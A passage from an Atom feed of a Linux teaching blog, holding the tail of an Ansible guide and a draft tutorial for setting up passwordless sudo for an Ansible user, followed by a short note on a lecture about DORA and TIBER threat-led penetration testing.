&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;authorized_key&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;user&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;antero&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;key&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;ssh-ed25519 U2VlIHlvdSBhdCBUZXJvS2FydmluZW4uY29tIQ== tero@example.com&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;copy&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;/etc/sudoers.d/sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;content&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;%sudoless ALL = (ALL) NOPASSWD: ALL&lt;span class=&quot;hl-constant hl-character hl-escape hl-double-quoted hl-yaml&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;mode&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;0644&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;first-run-chicken-or-egg&quot;&gt;&lt;span id=&quot;first-run---chicken-or-egg&quot;&gt;&lt;/span&gt;First run - chicken or egg? &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#first-run-chicken-or-egg&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the first run, you don&#39;t yet have sudo without password.&lt;/p&gt;
&lt;p&gt;Let&#39;s make ansible try for sudo rights. Add &quot;become: true&quot; in the correct block in site.yml:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;hosts&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;all&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;become&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-constant hl-language hl-boolean hl-yaml&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;roles&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;world&lt;/span&gt;
    &lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;antero&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now it should complain that sudo needs password. Ansible asks this with -K aka --ask-become-password.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;ask-become-password&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;tips&quot;&gt;Tips &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#tips&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you got it to work manually, you have your example. Copy it to automation!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Copy paste paths.&lt;/li&gt;
&lt;li&gt;Copy files or file contents.&lt;/li&gt;
&lt;li&gt;Use &#39;stat&#39; to check for modes (permissions). Do not guess octal permissions, you have to understand them to avoid privesc worries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some IaC programs only reliably understand octal modes (numbers), and only as strings. I would also recommend explicit leading zero meaning no special permissions (no setgid...). So &quot;0644&quot;, in quotes. Maybe it has improved over the years? Who knows.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Sudo without password</title>
    <link href="https://terokarvinen.com/passwordless-sudo/"/>
    <id>https://terokarvinen.com/passwordless-sudo/</id>
    <published>2026-04-02T16:04:00+03:00</published>
    <updated>2026-04-02T16:04:00+03:00</updated>
    <content type="html">&lt;p&gt;Ansible needs root on the slave. One way is to allow &#39;sudo&#39; without password.&lt;/p&gt;
&lt;p&gt;Summary for gurus (the rest of us can read the article):&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; /etc/sudoers.d/sudoless&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;%sudoless ALL = (ALL) NOPASSWD: ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;figure class=&quot;right&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w480.h64430d4b.avif 480w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.avif 800w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1200.h64430d4b.avif 1200w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1370.h64430d4b.avif 1370w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.png&quot; srcset=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.png 800w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1370.h64430d4b.png 1370w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot; width=&quot;800&quot; height=&quot;893&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;This short tutorial assumes you know the &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;basics of Linux command line&lt;/a&gt; and have &lt;a href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/&quot;&gt;installed openssh-server&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;create-the-new-user&quot;&gt;Create the new user &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#create-the-new-user&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s create a user and add it to &quot;sudoless&quot; group that we&#39;ll set up later. We&#39;ll call him antero, a neologism from &quot;Ansible&quot; and &quot;Tero&quot;, yours truly.&lt;/p&gt;
&lt;p&gt;Always use only good passwords. Never use bad passwords, even for a moment. Practice doing it right, don&#39;t practice doing it wrong.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; adduser antero&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; groupadd sudoless&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; adduser antero sudoless&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;broken-sudo-insurance&quot;&gt;Broken sudo insurance &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#broken-sudo-insurance&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Open a new window, ssh to target machine as needed. Then open a root shell using sudo.&lt;/p&gt;
&lt;p&gt;If we break sudo, this might be a way to fix it. Otherwise, broken sudo prevents us from using sudo to fix the broken files.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i	&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; just while fiddling with sudoers&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We don&#39;t wont to work in the root shell (where the prompt is a hash &quot;#&quot;).&lt;/p&gt;
&lt;p&gt;So leave the root shell window behind and go back to the normal window.&lt;/p&gt;
&lt;h2 id=&quot;new-sudoers-rule&quot;&gt;New sudoers rule &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#new-sudoers-rule&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s create a sudoers rule that allows members of &quot;sudoless&quot; group use &#39;sudo&#39; without password.&lt;/p&gt;
&lt;p&gt;Visudo runs our default $EDITOR. But has some checks for obvious errors.&lt;/p&gt;
&lt;p&gt;As usual, we&#39;ll use .d/ dirs if available. And luckily, sudoers has /etc/sudoers.d/.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; visudo /etc/sudoers.d/sudoless&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add our oneliner there&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What does the sudoers line mean?&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Token&lt;/th&gt;&lt;th&gt;Meaning&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;%sudoless&lt;/td&gt;&lt;td&gt;Percent &quot;%&quot; means group&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ALL&lt;/td&gt;&lt;td&gt;All computers&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;=&lt;/td&gt;&lt;td&gt;Literal equals &quot;=&quot;, a separator&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;(ALL)&lt;/td&gt;&lt;td&gt;Runas: may become any user, including root&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;NOPASSWD&lt;/td&gt;&lt;td&gt;Tag: don&#39;t prompt for password&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;:&lt;/td&gt;&lt;td&gt;Literal colon &quot;:&quot;, a separator&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ALL&lt;/td&gt;&lt;td&gt;All commands permitted&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;So it&#39;s something like:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%group COMPUTERS: (RUNAS) TAG: COMMANDS. 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;test&quot;&gt;Test &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#test&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;not tested == not done&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;New groups are effective only after logout-login. So if you&#39;re logged in as &quot;antero&quot;, log out and back.&lt;/p&gt;
&lt;p&gt;If you have recently given &#39;sudo&#39; commands as &quot;antero&quot;, sudo will remember your credentials for a while. Use &#39;sudo -k&#39; to forget them.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; antero@localhost&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;k&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; echo &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;See you at TeroKarvinen.com&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;See you at TeroKarvinen.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No password asked? Great! You now have passwordless sudo. You could use it with Ansible.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>DORA &amp; Threat Lead Penetration Testing with Marko</title>
    <link href="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/"/>
    <id>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</id>
    <published>2026-03-31T14:54:00+03:00</published>
    <updated>2026-03-31T14:54:00+03:00</updated>
    <content type="html">&lt;p&gt;Banks are now required to do red teaming exercises. Marko Buuri (Bank of Finland) showed us how TIBER-FI helps to create threat intel based red teaming exercises.&lt;/p&gt;
&lt;p&gt;Marko&#39;s visit was part of my &lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;Penetration Testing&lt;/a&gt; course. You can &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;join my list&lt;/a&gt; to get invitations to similar events.&lt;/p&gt;
&lt;h2 id=&quot;synopsis&quot;&gt;Synopsis &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#synopsis&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure class=&quot;right&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w480.h85f0938c.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.avif 800w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1200.h85f0938c.avif 1200w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1397.h85f0938c.avif 1397w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.jpg&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.jpg 800w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1397.h85f0938c.jpg 1397w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot; width=&quot;800&quot; height=&quot;435&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;Cybersecurity red team testing has evolved from underground art to regulated operations in the European financial sector. This lecture explores the requirement for advanced threat-led penetration testing in EU&#39;s DORA regulation, and practical guidance on how those projects are organized and delivered according to the TIBER-EU guidance across Europe.&lt;/p&gt;
&lt;h2 id=&quot;slides&quot;&gt;Slides &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#slides&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Buuri 2026: &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a&gt; (pdf, 2 MB)&lt;/p&gt;
&lt;h2 id=&quot;links&quot;&gt;Links &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#links&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
